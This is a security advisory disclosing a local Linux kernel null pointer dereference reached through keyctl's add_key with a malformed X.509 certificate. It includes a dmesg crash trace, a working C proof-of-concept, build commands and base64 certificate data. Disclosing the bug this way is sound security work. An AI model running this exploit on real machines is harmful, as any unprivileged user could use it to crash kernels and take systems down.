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OS-S Security Advisory 2016-21
Local DoS: Linux Kernel Nullpointer Dereference via keyctl
Date:
October 31th, 2016
Authors:
Sergej Schumilo, Ralf Spenneberg, Hendrik Schwartke
CVE:
Not yet assigned
CVSS:
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:
Potentially critical. If the kernel is compiled with the option
“Panic-On-Oops”, this vulnerability may lead to a kernel panic.
Ease of Exploitation:
Trivial
Vulnerability Type:
Local unprivileged kernel nullpointer dereference
Abstract:
A malicious interaction with the keyctl usermode interface allows an
attacker to crash the kernel. Processing the attached certificate by the
kernel leads to a kernel nullpointer dereference. This vulnerably can be
triggered by any unprivileged user locally.
Detailed product description:
We have verified the bug on the following kernel builds:
Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
RedHat Kernel 3.10.0-327.18.2.el7.x86_64
Vendor Communication:
We contacted RedHat on June, 06th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible
disclosure policy.
Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1343162
Proof of Concept:
As a proof of concept, we are providing a sample exploit program and the
associated certificate.
Severity and Ease of Exploitation:
The vulnerability can be easily exploited by an unprivileged user using
our proof of concept.
dmesg-Report:
[ 40.067569] BUG: unable to handle kernel NULL pointer dereference at
(null)
[ 40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[ 40.068710] PGD c853067 PUD 186bd067 PMD 0
[ 40.069090] Oops: 0002 [#1] KASAN
[ 40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE)
mbcache(OE) jbd2(OE)
[ 40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G
OE 4.4.0 #158
[ 40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti:
ffff88000c880000
[ 40.072117] RIP: 0010:[<ffffffff81341911>][<ffffffff81341911>]
mpi_powm+0x31/0x9b0
[ 40.072743] RSP: 0018:ffff88000c887bf0EFLAGS: 00010246
[ 40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX:
ffff8800186b33f0
[ 40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI:
ffff8800186b37e0
[ 40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09:
ffffed00030d6700
[ 40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12:
0000000000000000
[ 40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15:
ffff8800186b32a0
[ 40.076174] FS:0000000000911880(0063) GS:ffffffff81c2f000(0000)
knlGS:0000000000000000
[ 40.076815] CS:0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4:
00000000000006f0
[ 40.077850] Stack:
[ 40.078018]0000000000000001 ffffea0000321000 0000000000000000
ffff8800100026c0
[ 40.078646]ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6
ffff8800186b37ff
[ 40.079286]1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e
ffff8800185c95f8
[ 40.079925] Call Trace:
[ 40.080129][<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[ 40.080642][<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[ 40.081139][<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
[ 40.081582][<ffffffff81342320>] ? mpi_alloc+0x20/0x80
[ 40.082006][<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
[ 40.082512][<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
[ 40.083001][<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
[ 40.083507][<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
[ 40.084043][<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
[ 40.084531][<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
[ 40.085014][<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
[ 40.085534][<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
[ 40.086981][<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
[ 40.087437][<ffffffff8126ba67>] key_create_or_update+0x137/0x450
[ 40.087942][<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
[ 40.088381][<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
[ 40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04
44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f 84 da 07 00 00 45 85 f6 75 38
89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
[ 40.091203] RIP[<ffffffff81341911>] mpi_powm+0x31/0x9b0
[ 40.091645]RSP <ffff88000c887bf0>
[ 40.091924] CR2: 0000000000000000
[ 40.092207] ---[ end trace 3d4c5681d47247c7 ]---
[ 40.092566] Kernel panic - not syncing: Fatal exception
[ 40.092968] Kernel Offset: disabled
[ 40.093242] Rebooting in 1 seconds..
Proof of Concept (Code):
*/
/*
*
* base64 -d < certificate.base64 > test.crt
* gcc test.crt -lkeyutils
* ./a.out
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/mount.h>
#include <errno.h>
#include <signal.h>
#include <keyutils.h>
int main(){
FILE*infile;
char*buffer;
longnumbytes;
key_serial_t key_id;
key_serial_t keyring_id;
infile = fopen("test.crt", "r");
if(infile == NULL)
return 1;
fseek(infile, 0L, SEEK_END);
numbytes = ftell(infile);
fseek(infile, 0L, SEEK_SET);
buffer = (char*)calloc(numbytes, sizeof(char));
if(buffer == NULL)
return 1;
fread(buffer, sizeof(char), numbytes, infile);
fclose(infile);
/* inject fuzzed x509 DER data into asymmetric crypto kernel code */
key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);
printf("Oops?!\n");
if(key_id != -1){
keyctl_unlink(key_id, 0xfffffffd);
}
free(buffer);
return 0;
}
/*
Proof of Concept (Certificate):
MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQgCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAQAAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
--
*/
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